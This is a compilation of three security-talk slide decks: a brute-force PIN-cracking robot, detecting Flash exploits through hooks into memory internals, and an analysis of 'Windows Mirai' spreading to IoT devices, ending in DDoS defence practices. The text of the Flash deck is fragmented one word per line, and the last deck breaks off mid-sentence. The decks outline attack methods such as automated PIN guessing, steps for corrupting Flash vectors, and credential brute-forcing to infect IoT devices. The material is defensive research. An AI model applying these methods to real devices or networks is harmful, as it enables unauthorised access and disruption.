Keyboard Emulation
• If the device supports a keyboard attachment
• Make a device that emulates a keyboard and
tries all the different PIN combinations
automatically
• Problem: not all devices support an external
keyboard being added
Punish an Intern
• Forcing your intern to try all 10,000 4-digit
combinations will surely be more productive
than anything else they could have been
doing, except maybe getting coffee
• Problem: Interns are universally bad at their
jobs, so they might miss some of the
combinations
PIN Cracking with Robots
• Required Abilities:
• “Push” buttons in sequence
• Remember what buttons were pushed
• (Recognize success)
Robotic Reconfigurable Button Basher
(R2B2)
• Homemade Delta Robot body
• Arduino Uno brain
• Total cost: < $200
Delta Robot
• Designed for fast precision
industrial work
• Simple combination of 3
single-motor arms gives
precision 3D movement with
somewhat small range of
motion
• Fairly simple motion control
Humanrobo, Wikipedia.
CC-BY-SA
Arduino Uno
• Standard robotic hobby microcontroller board
• Open source code for controlling a delta robot by
Dan Royer (marginallyclever.com)
• Uses serial port communication to control the
movement of the robot
• Easy to tweak functionality for pressing buttons
instead of manufacturing
• Easy to control with a Python program
Modifications
• The original delta robot kit was modified to
have its tool be a touch-screen stylus tip for
pressing buttons
• A camera was added to allow easier user
interface with the robot to set up the PIN
cracking task
• The motion control software was modified to
speed up movement, up to 5 presses/second
Wrap Everything in Python
• Controls the robot movement through the
serial port
• Performs image analysis of the camera feed
• Provides a simple interface for the user to set
the robot up for PIN cracking
• Detects success of PIN cracking to stop robot
and alert user
(a bit) Better than brute-forcing
• Compiled the various
password datasets and
extracted 4-digit PINs to
generate a frequency table
of the 10,000 possibilities.
Challenges
• Detecting button values:
• Too tough to reliably do on all devices
• User set up time is negligible for a 10-digit keypad
• Recognizing delays:
• Some devices have more easily recognized delay
messages than others
• If necessary, the user can manually input the delay
pattern of a device (i.e. 30 seconds every 5 tries)
Real Buttons Too!
• R2B2 can of course also be used for brute-
force PIN cracking of physical buttons as well
• Electronic keypads or completely mechanical
keys, provided it can detect when it has
succeeded
Capacitive Cartesian Coordinate
Bruteforcing Overlay (C3BO)
• Attach a grid of electrodes to the device’s virtual
keyboard
• Trigger electrodes via an Arduino to trick the
device into thinking the screen was touched at
that point
• No mechanical motion = faster button pressing
• More user configuration required to manually
place the electrodes
C3BO continued
• Cheaper than R2B2 ( ~ $50)
• Nearly the same software for
controlling/detecting device state changes
with camera
Defeating the Robots
• Forced delay timer after X attempts
• On Android this is always 30 seconds
regardless of previous attempts
• R2B2 would succeed in a worst case of ~20 hours
• User Lockout after X attempts
• On iOS this occurs after 11 attempts
• R2B2 would be defeated, unless the PIN was one of
the 10 most popular
Are these robots useful, then?
• Compared to R2B2:
• Jailbreak + Bypass: Best if available
• Keyboard Emulator: The fastest brute-forcing
• C3BO: Usable on any capacitive touch keyboard, a
bit slower and more setup required than a
keyboard emulator
• R2B2: Flexible and usable on basically any PIN
protected device but slower and more
cumbersome
Acknowledgments
• Thanks to iSEC Partners and the NCC Group
for supporting this research
• Thanks to Dan Royer for providing the initial
motion control code and robot build plans | pdf |
Inside Flash: Flash Exploit
Detec4on Uncovered
Ga1ois
&
Bo
Qu
About us
• Security
Researchers
in
PANW
• Work
• IPS
• APT
Detec=on
• A>er
work
• Vulnerability
discovery
• Exploit
technique
researching
Agenda
• Iden=fy
(Possible)
Exploit
• Stop
Exploit
• Detect
Exploit
Part
1
:
Iden=fy
Possible
Exploit
Find
vector
in
loop
using
sta=c
detec=on
Find opcode pa<ern of loop
• Compile
tools
• As3compile.exe
• Asc.jar–
two
embeded
abc
file
needed
• Mxmlc
in
flexsdk
• Flash
Builder
• Flash
CS*
professional
• Command
line
decompile
tools
• Swfdump.exe
in
sw>ools
• Swfdump.py
in
mecheye-‐fusion
• Swfdump.jar/swfdump.exe
in
flex
–
we
use
it
• 3
types
of
loop
• For
• While
• Do/while
Simplest situa4on
MXMLC
Swfdump
SWF
Do…while
for
AS3
Algorithm
def
FindVecInLoop:
For
i
in
range(0,len(line)):
If
find
jump
opcode
i
=
line_of_jump_opcode
get
Jump_label
for
j
in
range(line_of_jump_opcode+1,
len(line))
If
find
jump_label
get
cur_line_cnt
for
k
in
range(cur_line_cnt+1,
len(line))
if
find
if:
get
the
if_label
if
line_of_if_label
==
line_of_jump_opcode+1
print
find
loop
get
loop_body
find
vector
in
loop_body
check
the
3rd
argument
of
construct,
if
vector
bingo!
Find opcode pa<ern of loop
• demo
Limita4on and solu4on
• Bad
news
• Loadbytes
for
obfusca=on
• Not
use
loop[jmp
or
goto
or
repeat
one
statement
for
many
=mes]
• Func=on
calls
in
loop
body
• Good
news
• Hook
and
generate
inner
real
exploit
SWF
• The
pafern
itself
can
be
detected
• Check
deeper
Part
2
:
Stop
Exploit
A
Lightweight
PageHeap
for
FixedMalloc
in
Flash
Page heap on windows process heap
• A
diagnos=c
op=on
that
can
detect
OBA(Out
of
Bounds
Access)
and
UAF(Use
A>er
Free)
bugs
• OBA
• UAF
4096
4096
4096
1
page NO_Access
Heap
block
1
page
OBA
NO_Access
CRASH
!
4096
4096
4096
free
NO_Access
use
CRASH
!
Custom Heap in Flash MMgc
GCHeap
GC
FixedMalloc
m_allocs[
]
Used
buffer
Ptr
to
next
free
block
Free
buffer
Same
size
in
one
bucket
Different
sizes
Custom Heap in Flash MMgc
GCHeap
GC
Toplevel:
ArrayObject
ByteArrayObject
VectorObject
…
NaTve:
BitmapDataObject
SoundObject
…
FixedMalloc
All
of
the
internal
buffer
ByteArrayBuffer
–
UAF
Bugs
VectorBuffer
–
Used
to
Arbitrary
Read/Write
in
the
exploit
BitmapDataBuffer
–
OBA
Bugs
Vulnerable
buffer
and
exploited
buffer
are
all
allocated
here.
All
interes=ng
things
happened
here.
From AS3 To Memory
Take
ByteArray
As
An
Example
var
ba:ByteArray
=
new
ByteArray();
ba.length
=
0x80;
/*staTc*/
avmplus::ScriptObject*
FASTCALL
avmplus::ByteArrayClass::createInstanceProc(avmplus::ClassClosure*
cls)
{
return
new
(cls-‐>gc(),
MMgc::kExact,
cls-‐>getExtraSize())
avmplus::ByteArrayObject(cls-‐>ivtable(),
cls-‐>prototypePtr());
}
staTc
void
*operator
new(size_t
size,
GC
*gc,
GCExactFlag,
size_t
extra)
{
return
gc-‐>AllocExtraRCObjectExact(size,
extra);
}
ByteArrayObject::ByteArrayObject(VTable*
ivtable,
ScriptObject*
delegate)
:
ScriptObject(ivtable,
delegate)
,
m_byteArray(toplevel())
{
c.set(&m_byteArray,
sizeof(ByteArray));
ByteArrayClass*
cls
=
toplevel()-‐>byteArrayClass();
m_byteArray.SetObjectEncoding((ObjectEncoding)cls-‐
>get_defaultObjectEncoding());
toplevel()-‐>byteArrayCreated(this);
ByteArrayObject
are
managed
by
GC
From AS3 To Memory
Take
ByteArray
As
An
Example
var
ba:ByteArray
=
new
ByteArray();
ba.length
=
0x80;
ByteArrayObject::set_length(unsigned
int
value)
ByteArray::SetLengthFromAS3(unsigned
int
newLength)
ByteArray::SetLengthCommon(unsigned
int
newLength,
bool
calledFromLengthSeker)
ByteArray::UnprotectedSetLengthCommon(unsigned
int
newLength,
bool
calledFromLengthSeker)
ByteArray::Grower::SetLengthCommon(unsigned
int
newLength,
bool
calledFromLengthSeker)
ByteArray::Grower::EnsureWritableCapacity()
ByteArray::Grower::ReallocBackingStore
From AS3 To Memory
Take
ByteArray
As
An
Example
void
FASTCALL
ByteArray::Grower::ReallocBackingStore(uint32_t
newCapacity)
{
...
m_oldArray
=
m_owner-‐>m_buffer-‐>array;
m_oldLength
=
m_owner-‐>m_buffer-‐>length;
m_oldCapacity
=
m_owner-‐>m_buffer-‐>capacity;
uint8_t*
newArray
=
mmfx_new_array_opt(uint8_t,
newCapacity,
MMgc::kCanFail);
…
m_owner-‐>TellGcNewBufferMemory(newArray,
newCapacity);
if
(m_oldArray){
VMPI_memcpy(newArray,
m_oldArray,
min(newCapacity,
m_oldLength));
if
(newCapacity
>
m_oldLength)
VMPI_memset(newArray+m_oldLength,
0,
newCapacity-‐m_oldLength);
}else{
VMPI_memset(newArray,
0,
newCapacity);
}
m_owner-‐>m_buffer-‐>array
=
newArray;
m_owner-‐>m_buffer-‐>capacity
=
newCapacity;
…
}
Mmfx_
is
a
series
Macro
in
FixedMalloc
ByteArrayDataBuffer
is
managed
by
FixedMalloc
From AS3 To Memory
Take
ByteArray
As
An
Example
var
ba:ByteArray
=
new
ByteArray();
ba.length
=
0x80;
ByteArrayObject
[managed
by
GC]
02A944A8
cc
4b
18
01
01
df
07
80
d8
bd
f2
04
e8
52
9f
05
02A944B8
c0
44
a9
02
40
00
00
00
20
4a
18
01
34
4a
18
01
02A944C8
28
4a
18
01
3c
4a
18
01
18
6c
a3
02
10
00
5b
00
02A944D8
88
c3
9f
05
00
00
00
00
00
00
00
00
00
da
14
01
02A944E8
a0
8b
5a
00
01
00
00
00
00
00
00
00
2c
4a
18
01
02A944F8
03
00
00
00
00
00
00
00
ByteArrayBuffer
[managed
by
FixedMalloc]
059FD010
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
059FD020
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
059FD030
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
059FD040
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
059FD050
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
059FD060
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
059FD070
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
059FD080
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
ByteArrayBufferObject
[managed
by
FixedMalloc]
005A8BA0
f8
d9
14
01
01
00
00
00
10
d0
9f
05
00
10
00
00
005A8BB0
80
00
00
00
A Lightweight Page Heap For FixedMalloc
• Change
all
of
Heap
Allocators
in
FixedMalloc
to
HeapAlloc
in
ProcessHeap
• Turn
On
Page
Heap
on
Windows
Process
Heap
Heap Allocators in FixedMalloc/FixedAlloc
AllocaTonMaros.h
in
Avmplus/MMgc
//
Used
for
allocaTng/deallocaTng
memory
with
MMgc's
fixed
allocator.
//
The
memory
allocated
using
these
macros
will
be
released
when
the
MMgc
aborts
due
to
//
an
unrecoverable
out
of
memory
situaTon.
#define
mmfx_new(new_data)
new
(MMgc::kUseFixedMalloc)
new_data
#define
mmfx_new0(new_data)
new
(MMgc::kUseFixedMalloc,
MMgc::kZero)
new_data
#define
mmfx_new_array(type,
n)
::MMgcConstructTaggedArray((type*)NULL,
n,
MMgc::kNone)
#define
mmfx_new_opt(new_data,
opts)
new
(MMgc::kUseFixedMalloc,
opts)
new_data
#define
mmfx_new_array_opt(type,
n,
opts)
::MMgcConstructTaggedArray((type*)NULL,
n,
opts)
#define
mmfx_delete(p)
::MMgcDestructTaggedScalarChecked(p)
#define
mmfx_delete_array(p)
::MMgcDestructTaggedArrayChecked(p)
#define
mmfx_alloc(_siz)
MMgc::AllocCall(_siz)
#define
mmfx_alloc_opt(_siz,
opts)
MMgc::AllocCall(_siz,
opts)
#define
mmfx_free(_ptr)
MMgc::DeleteCall(_ptr)
Heap Allocators in FixedMalloc
• Take
mmfx_new_array_opt
as
an
example
MMgcConstructTaggedArray
mmfx_new_array_opt(type,
n,
opts)
MMgc::NewTaggedArray
MMgc::TaggedAlloc
MMgc::AllocCallInline
MMgc::FixedMalloc::OutOfLineAlloc
FixedMalloc::Alloc()
REALLY_INLINE
void*
FixedMalloc::Alloc(size_t
size,
FixedMallocOpts
flags)
{
if
(size
<=
(size_t)kLargestAlloc)
return
FindAllocatorForSize(size)-‐>Alloc(size,
flags);
else
return
LargeAlloc(size,
flags);
}
REALLY_INLINE
FixedAllocSafe*
FixedMalloc::FindAllocatorForSize(size_t
size)
{
unsigned
const
index
=
(size
<=
4)
?
0
:
kSizeClassIndex[((size+7)>>3)];
GCAssert(size
<=
m_allocs[index].GetItemSize());
GCAssert(index
==
0
||
size
>
m_allocs[index-‐1].GetItemSize());
return
&m_allocs[index];
}
Heap Allocators in FixedMalloc
• Take
mmfx_new_array_opt
as
an
example
REALLY_INLINE
void*
FixedMalloc::Alloc(size_t
size,
FixedMallocOpts
flags)
{
if
(size
<=
(size_t)kLargestAlloc)
return
FindAllocatorForSize(size)-‐>Alloc(size,
flags);
else
return
LargeAlloc(size,
flags);
}
REALLY_INLINE
void*
FixedMalloc::Alloc(size_t
size,
FixedMallocOpts
flags)
{
…
return
HeapAlloc(GetProcessHeap(),
0,
size);
}
Hook
and
change
Fixed
Heap
Allocators
to
HeapAlloc
in
ProcessHeap
A Lightweight Page Heap For FixedMalloc
• Find
Heap
Allocators
in
FixedMalloc(Simplest
Way
–
AVM.sig)
Part
3
:
Detect
Exploit
Find
*bad*
vector
3 Layer Exploit Detec4on
• Check
the
length
of
vectors
when
vector
length/read/write
opera=on
in
exploits
use
methods
in
flash
module
• Monitor
the
length
of
vectors
in
Args
of
JIT
func=on
when
vector
length/read/write
opera=on
in
exploits
use
JIT
code
• God
Mode:
Monitor
all
of
vector
length
when
DoABC2
Tag
is
parsed.
*Bad* Vector Detec4on
Exploit
Process
-‐
exploit.as
1.
Heap
Spray
and
Feng
Shui
2.
Trigger
the
bug
and
corrupt
the
length
of
vector
3.
Find
this
*bad*
vector
and
use
it
to
do
arbitrary
Read/Write
to
build
ROP
and
overwrite
v-‐table
4.
Trigger
controlled
EIP
5.
Restore
and
clean
Hook
vector.length
–
vectorObject::get_length
to
check
the
length
Hook
vector[]
–
vectorObject::Operator
[]
to
check
the
length
Not JIT-‐ed Length/Write/Read
Take
vector.length
as
an
example:
Exploit.as
for(_loc1_=0;
_loc1_<cnt;
_locl_++)
{
if(vectors[_locl_].length
>
orig_length)
break;
}
We
can
set
a
hookpoint
at
Vector::get_length
JIT-‐ed Length/Write/Read
Take
vector.length
as
an
example:
Exploit.as
for(_loc1_=0;
_loc1_<cnt;
_locl_++)
{
if(vectors[_locl_].length
>
orig_length)
break;
}
03d6042c
mov
edx,dword
ptr
[ebp-‐90h]
;
edx
is
address
of
arg3
03d60432
mov
eax,dword
ptr
[ebp-‐94h]
;
eax
is
VectorObject
address
03d60438
and
eax,0FFFFFFF8h
;
atom
type
address
03d6043b
mov
dword
ptr
[ebp-‐94h],eax
03d60441
je
<Unloaded_oy.dll>+0x3d60671
(03d60672)
03d60447
mov
ecx,dword
ptr
[eax+18h]
;
[eax+0x18]
is
VectorBuffer
03d6044a
mov
eax,dword
ptr
[ecx]
;
ecx
is
VectorBuffer
and
[ecx]
is
the
length
of
vector
03d6044c
mov
dword
ptr
[ebp-‐98h],eax
03d60452
lea
esp,[esp]
03d60455
mov
ecx,dword
ptr
<Unloaded_oy.dll>+0xa7
(000000a8)[edx]
ds:0023:03d44158=00000072
;
<-‐
here
03d6045b
mov
dword
ptr
[ebp-‐9Ch],ecx
;
ecx
is
orig_length
now
03d60461
cmp
eax,ecx
;
compare
vector.length
and
orig_length
03d60463
sete
dl
We
can’t
set
a
hookpoint
at
dynamic
JIT-‐ed
code
Arg3[base+0xa8]
=
orig_length
Where
does
the
“VectorObject”
in
JIT-‐ed
code
come
from?
JIT-‐ed
ASM
Code
Fragment:
03d602be
mov
edi,dword
ptr
[ebp+10h]
<-‐
edi
is
from
the
arg3
03d602f7
mov
ebx,dword
ptr
[edi]
03d602f9
mov
dword
ptr
[ebp-‐50h],ebx
03d60342
mov
eax,dword
ptr
[ebp-‐50h]
03d60345
mov
dword
ptr
[ebp-‐90h],eax
03d6034b
mov
esi,dword
ptr
<Unloaded_oy.dll>+0x1d3
(000001d4)[eax]
<-‐
here
03d60351
mov
dword
ptr
[ebp-‐94h],esi
03d60370
mov
eax,dword
ptr
[ebp-‐94h]
03d60376
test
eax,eax
03d6037e
lea
eax,[eax+1]
03d60387
push
eax
<-‐
from
arg3
03d60399
mov
dword
ptr
[ebp-‐98h],eax
<-‐eax
is
address
of
VectorObject
03d603f7
mov
eax,dword
ptr
[ebp-‐98h]
03d6040d
mov
dword
ptr
[ebp-‐94h],eax
03d6042c
mov
edx,dword
ptr
[ebp-‐90h]
03d60432
mov
eax,dword
ptr
[ebp-‐94h]
<-‐
eax
is
address
of
VectorObject
03d60438
and
eax,0FFFFFFF8h
03d6043b
mov
dword
ptr
[ebp-‐94h],eax
03d60447
mov
ecx,dword
ptr
[eax+18h]
Arg3
is
the
3rd
argument
of
endCoerce
and
_implGPR.
Atom
BaseExecMgr::endCoerce(MethodEnv*
env,
int32_t
argc,
uint32_t
*ap,
MethodSignaturep
ms)
(*env-‐>method-‐>_implGPR)(env,
argc,
ap);
Real
JIT-‐ed
Code
Entrance
VT
array
vector length
Structure
of
ap
All
of
data
used
in
JIT-‐ed
code:
object,
variable,
etc
[ClassClosure::constructObject()]
-‐>[1064a7ed][ClassClosure::construct
or
ClassClosure::construct_Na=ve]
-‐>ScriptObject*
obj
=
newInstance()
-‐>jmp
102afa16
<-‐
hook
here
-‐>[102afa5a]
105f3950
new
Script_Env
and
set
args
buffer
and
length
afribute
-‐>[102AFA7D]
1027CA36
init
ap/args
structure
...
-‐>ivtable-‐>init-‐>coerceEnter(argc,
argv)
-‐>verifyInvoke
-‐>[106ae2ee](*env-‐>method-‐>_invoker)(env,
argc,
args)
-‐-‐
jitInvokeNext
-‐>[106d7292]invokeGeneric
-‐>[106ae805]endCoerce
-‐>[106adb21](*env-‐>method-‐>_implGPR)(env,
argc,
ap)
A Typical JIT Procedure in Flash
Focus
on
it!
Get
Args
address
and
buffer
length
from
Script_Env,
and
Create
a
Thread
to
monitor
possible
vector.<*>,
vectorBuffer,
array,
etc
in
Args
buffer.
Use
vtable
to
dis=nguish
them.
Memory Dump of Script_Env and Args
Script_Env
0543e0f8
10c7d3c8
03a51000
03a51000
00000000
0543e108
00000000
03a510b0
00000000
00000007
0543e118
00000230
00000007
00000230
00000009
0543e128
00000008
00000022
1d420001
01010016
0543e138
00000001
04796000
10c7d3c8
00000000
0543e148
00000000
00000000
00000000
00000000
0543e158
00000007
00000007
00000230
00000007
0543e168
00000000
00000009
00000008
00000022
Args
[length
=
0x230]
03a510b0
10bb7240
20000003
03bb6478
03a37a78
03a510c0
00000000
00000000
03a4b480
00000000
03a510d0
00000000
06158060
0000003b
061702b8
03a510e0
00000000
03e70040
00000000
00000000
03a510f0
00000000
00000000
00000000
00000000
03a51100
00000000
00000000
ffffffff
00000000
03a51110
00000000
00000000
00000001
feedface
03a51120
00002000
bbbbbbbb
00002000
00000000
...
03a51270
00000000
00000000
03d63f50
03a374c0
03a51280
056f0880
056f0df8
03a1db28
00000000
03a51290
056e4fe8
03a20160
03a201c0
00000000
03a512a0
00000000
40440000
00000000
00000000
VectorBuffer
062ca020
40000000
06144000
feedbabe
00001680
062ca030
babeface
00000000
00000000
00000000
062ca040
00000000
00000000
00000000
00000000
vectorObject
03a1db28
10c99918
00000002
03e8b1f0
03d46d78
03a1db38
056e2150
00000000
062ca020
00000000
03a1db48
00000000
00000000
Create
a
thread
to
monitor
this
buffer
of
Args
and
find
*bad*
vector
Whole process of detec4ng *bad* vector
opera4on in JIT-‐ed Code
• Find
and
hook
“new
Script_Env”
• Get
Args
buffer
and
length,
Create
a
thread
to
monitor
this
buffer
• Use
vtable
to
dis=nguish
possible
exploit
object[vector.<*>,
array,
etc]
Turn on God Mode of Detec4on
Exploit
Process
-‐
exploit.as
1.
Heap
Spray
and
Feng
Shui
2.
Trigger
the
bug
and
corrupt
the
length
of
vector
3.
Find
this
*bad*
vector
and
use
it
to
do
arbitrary
Read/Write
to
build
ROP
and
overwrite
v-‐table
4.
Trigger
controlled
EIP
5.
Restore
and
clean
Hook
VectorBaseObject::VectorBaseObject
to
Record
all
of
allocated
Vectors.<int>/<uint>/<double>
Create
a
Thread
to
Monitor
every
length
change
of
vectors
at
the
beginning
of
Ac=onScript
was
parsed
Hook Where 1#
• Find
VectorBaseObject::VectorBaseObject(Simplest
Way
–
AVM.sig)
Hook Where 2#
• Find
DoABCTag
Func=on
which
is
responsible
for
parse
DoABC
Tag.
Life cycle of *bad* vector
• Why
do
we
have
to
monitor
the
every
length
change,
not
check
all
of
vectors
once
at
the
end
of
swf
finish
?
Exploit
Process
-‐
exploit.as
1.
Heap
Spray
and
Feng
Shui
2.
Trigger
the
bug
and
corrupt
the
length
of
vector
3.
Find
this
*bad*
vector
and
use
it
to
do
arbitrary
Read/Write
to
build
ROP
and
overwrite
c_cleaner
of
bad
vector
itself
4.
Trigger
controlled
EIP
with
“bad_vector.length
=
new_length”
5.
Restore
0and
clean
Exploiters
can
make
the
life
cycle
of
*bad*
vector
very
short
!
Bad_vector
will
be
free
and
reallocate.
The
length
of
this
bad
vector
will
be
set
to
new_length,
if
we
check
a>er
all
this
happened,
everything
will
be
normal.
Life cycle of *bad* vector
• Why
do
we
have
to
monitor
the
every
length
change,
not
check
all
of
vectors
once
at
the
end
of
swf
finish
?
Length
C_Cleaner Data[0]
Data[1]
Data[2]
Data[3]
Data[4]
Data[5]
…
VectorBuffer
structure
*bad*
VectorBuffer
with
normal
c_cleaner
40000000
ABCDEFGH data
data
data
data
data
data
data
*bad*
VectorBuffer
with
*bad*
c_cleaner
bad_vector[3fffffff]
=
bad_vector[base+3fffffff*4+8]
=
bad_vector[base+4]
=
DEADBEEF
40000000
DEADBEEF data
data
data
data
data
data
data
Bad_vector.length
=
0x72,
bad
c_cleaner[DEADBEEF]
will
trigger
controlled
EIP,
and
bad
vector
change
to
normal
vector
00000072
DEADBEEF data
data
data
data
data
data
data
Details
about
how
c_cleaner[DEADBEEF]
trigger
controlled
EIP
-‐-‐
hfp://researchcenter.paloaltonetworks.com/2015/05/
the-‐latest-‐flash-‐uaf-‐vulnerabili=es-‐in-‐exploit-‐kits/
Exploit Mi4ga4on in flash_18_0_0_209
• Kill
the
vector-‐like
object
with
length
valida=on
and
isolated
heap
• Raise
the
*bar*
of
exploit
Summary
• Dissect
and
unclose
some
undocumented
and
uncovered
internals
inside
flash
for
detec=ng
flash
exploits.
• Mul=ple
Dimensional
Exploit
Detec=on
Based
on
the
Deep
Understanding
of
Exploit
Essence
• Find
Other
Possible/Poten=al
Exploit
Object
in
Flash
In
the
future
Thanks
• Thanks
to
Yamata
Li
and
others
in
IPS
Team
• Special
thanks
to
@guhe120,
@promised_lu
Ques4ons ? | pdf |
Steinthor Bjarnason
Jason Jones
Arbor Networks
The call is coming from inside the
house!
Are you ready for the next
evolution in DDoS attacks?
2
The Promises of IoT
• The Promise of IoT
• More personalized, automated
services
• Better understanding of customer
needs
• Optimized availability and use
of resources
• Resulting in:
• Lower Costs
• Improved Health
• Service / efficiency gains
• Lower environmental impact
3
The IoT Problem – Security
• To fulfill these premises,
IoT devices are usually:
• Easy to Deploy
• Easy to Use
• Require Minimal
Configuration
• Low Cost
• However…
4
Unprecedented DDoS attack sizes
The Results: Large Scale Weaponization
of Vulnerable IoT Devices
Mirai infections December 2016
•
1M login attempts from 11/29 to 12/12 from 92K
unique IP addresses
•
More than 1 attempt per minute in some regions
5
The Situation Today…
• An unprotected IoT device
on the Internet will get
infected within 1 minute.
• An IoT device located
behind a NAT device or a
Firewall is not accessible
from the Internet and is
therefore (mostly) secure.
• But early 2017, this all
changed…
http://marketingland.com/wp-content/ml-loads/2014/09/iceberg-ss-1920.jpg
6
WINDOWS-BASED
IoT INFECTION
7
Background
• Desktop malware spreading multi-platform malware is not new
• Increasingly common technique amongst both targeted malware
and crimeware, primarily focusing on mobile devices
• HackingTeam RCS
• WireLurker
• DualToy
• “BackStab” campaign
• Banking trojans will also target mobile devices to steal 2FA / SMS authorization
codes
• May consist of a side-load installation or tricking a user to click a link
on their phone
• IOT devices present a new and ripe infection vector
• “Windows Mirai” is the first known multi-platform trojan to target IoT devices
for infection
8
“Windows Mirai”
• Initially reported on in early 2017 by PAN
• Later reported on by multiple organizations
• Not truly a Windows version of Mirai, spread other Linux / IoT malware
previously
• Discovered samples dating back to at least March 2016
• Earliest seen version by ASERT is 1.0.0.2 which was used to spread a Linux
SOCKS Trojan
• Latest known version is 1.0.0.7
• Earlier versions discovered via re-used PE property names
• Properties combined with recognizable network traffic helped to discover
the early versions of the trojan
• Appears to be Chinese in origin, not nation-state related
9
WM Common PE File Info Properties
CompanyName:
Someone
FileDescription:
Someone To Do
FileVersion:
1.0.0.X
InternalName:
WPD.exe
OriginalFilename:
WPD.exe
ProductName:
SomeoneSomeThing
ProductVersion:
1.0.0.X
10
WM Scanning & Spreading
• Spreads to Windows by
• Brute-forcing MySQL and MSSQL credentials and injecting stored procedure
calls which will download and install the Trojan
• Also attacks RDP (not in early versions) and WMI
• Spreads to Linux / IoT via
• Brute-force attacks against Telnet and SSH
• Use ‘wget’ or ‘tftp’ to download IoT malware loader
• Newer versions can also echo the loader stored as a resource in the PE file
• Not currently known to use any IoT exploits to spread like other Mirai variants
11
WM Version 1.0.0.5 - 7
• Has used multiple different CnC hosts, none of which have been active
except during a brief 1 week period back in February.
• Spreads and installs Mirai loader via
• Wget
• TFTP
• Echo across SSH/Telnet (later versions)
• Mirai loader is stored as a PE resource
• Each supported architecture is stored as a different resource
• Architectures are iterated through to determine the correct resource to load
• Uses “ECCHI” as busybox marker string
• Mirai CnC was hardcoded to cnc[.]f321y[.]com:24 – down when we discovered
• Hardcodes DNS to 114[.]114[.]114[.]114 – popular CN-based public DNS server
12
ELF Mirai Loader as a PE Resource
13
WM 1.0.0.7 Debug Logging Strings FTW!
14
WM Version 1.0.0.7
• Installation and Updating
• The trojan will first retrieve a text
file containing update instructions
• First line in the update file will be
a URL and a local path to install
to.
• The URL is a legitimate image
of Taylor Swift with a PE file
appended
• Second line is a windows
batch file
• The trojan then checks its current
version against a different
URL(/ver.txt)
• If a newer version is detected,
it is downloaded and installed
15
WM Delivered via Taylor Swift
16
WM 1.0.0.7 Batch File
17
WM WPD.dat
• The WPD.dat file is believed to be
a configuration file
• The expected MD5 of the file is first retrieved
to verify the download
• ASERT believes it is used to
• Determine scanning modules to use
• Address ranges to scan
• List of usernames + passwords to be used
for brute-forcing
• Commands to execute
• ASERT did not successfully decode or
decrypt the file or retrieve from memory
while it was still live
• Subsequent attempts after the fact also
did not yield success
• By default, WM will scan the local /24 subnet
18
IMPLICATIONS &
CONSEQUENCES
19
https://hdwallsbox.com/army-undead-fantasy-art-armor-skeletons-artwork-warriors-wallpaper-122347/
Game@of@Thrones@2011
Implications & Potential Consequences
• The Zombie horde
A single infected Windows computer has now the
capability to infect and subvert the ”innocent” IoT
population into zombies, all under the control of the
attacker.
• The attackers weapon arsenal
The attacker can now use the zombies to:
1. Infect other IoT devices.
2. Launch outbound attacks against external
targets.
3. Perform reconnaissance on internal networks,
followed by targeted attacks against internal
targets.
20
A Typical Mid-Enterprise Network
Bad
Guys
Security
Stuff
21
1. Scanning for Devices to Infect
22
1. Scanning for Devices to Infect
The Scanning activity generates:
• Flood of ARP requests
• Lots of small packets, including TCP SYN’s
• As more devices get infected, the scanning
activity will increase, potentially causing serious
issues and outages with network devices like
firewalls, switches and other stateful devices.
• These kinds of outages have repeatedly
happened in the wild, both during the NIMDA,
Code Red and Slammer outbreaks in 2001 and
also recently during large scale Mirai infections
at large European Internet Service Providers.
23
2. Launching Outbound DDoS Attacks
24
2. Launching Outbound DDoS Attacks
• Attack activity generates a lot of traffic.
Mirai can for example launch:
• UDP/ICMP/TCP packet flooding
• Reflection attacks using UDP packets
with spoofed source IP addresses
• Application level attacks (HTTP/SIP
attacks).
• Pseudo random DNS label prefix attacks
against DNS servers.
• This attack traffic will quickly fill up any
internal WAN links and will also will cause
havoc with any stateful device on the
path, including NGFWs.
25
3. Reconnaissance & Internally Facing Attacks
Blackhole
Route SOC
EVIL CORP
26
3. Reconnaissance & Internally Facing Attacks
• A clever attacker would scan the internal
network to identify vulnerable services and
network layout.
• He would then launch attacks against the
routing tables to shut out NOC/SOC services,
followed by DDoS attacks against internal
services.
• This would be devastating as if there are no
internal barriers in place, the network would
simply collapse.
• After a while, the clever attacker would then
stop the attack and send a ransom e-mail,
asking for his BTC’s…
27
Are IoT Devices Capable of Causing
So Much Harm?
• First, lets look at the anatomy of a typical
network device. It has a:
• Fast path
• Slow path
• And there are 4 main groups of packets
to be handled:
• Transit packets
• Received packets (for the device)
• Exception packets
• Non-IP packets
• If an attacker can force the device to spend
cycles on processing packets, it wont have
cycles to send or process critical packets!
Fast path
Slow path
Transit IP
Receive IP
Exceptions IP
Non-IP
CPU
A carefully crafted 300pps flood against
typical (unsecured) high-end routers /
switches will cause those to lose their
routing adjacencies…
28
Learning from History:
Implementing a Layered Defense
Spiš Castle: © Pierre Bona / Wikimedia
Commons / CC-BY-SA-3.0 / GFDL
Spiš Castle: © Civertan Grafikai Stúdió
Friends of York walls
28
29
Defending Against Insider Threats
• Internet Service Providers have successfully been dealing with similar attacks
for the last 20 years by following what's called Security Best Current Practices
(BCP’s). These basically translate into “Keep the network up and running!”
• Service Providers have followed a 6 phase methodology when dealing
with attacks:
• Preparation: Prepare and harden the network against attack.
• Identification: Identify that an attack is taking place.
• Classification: Classify the attack.
• Traceback: Where is the attack coming from.
• Reaction: Use the best tool based on the information gathered from the Identification,
Classification and Traceback phases to mitigate the attack.
• Post-mortem: Learn from what happened, improve defenses against future attacks.
30
Defending Against Insider Threats
• These Security Best Practices include:
• Implementing full Network segmentation and harden (or isolate)
vulnerable network devices and services.
• Developing a DDoS Attack mitigation process.
• Utilizing flow telemetry to analyze external and internal traffic.
This is necessary for attack detection, classification and trace
back.
• Deploying a multi-layered DDoS protection.
• Scanning for misconfigured and abusable services, this includes
NTP, DNS and SSDP service which can be used for amplification
attacks.
• Implementing Anti-Spoofing mechanisms such as Unicast
Reverse-Path Forwarding, ACLs, DHCP Snooping & IP Source
Guard on all edge devices.
31
Summary
• The attackers are now inside the house!
The Windows spreader has opened up the possibility
to infect internal IoT devices and use them against you.
• Internal network defenses and security
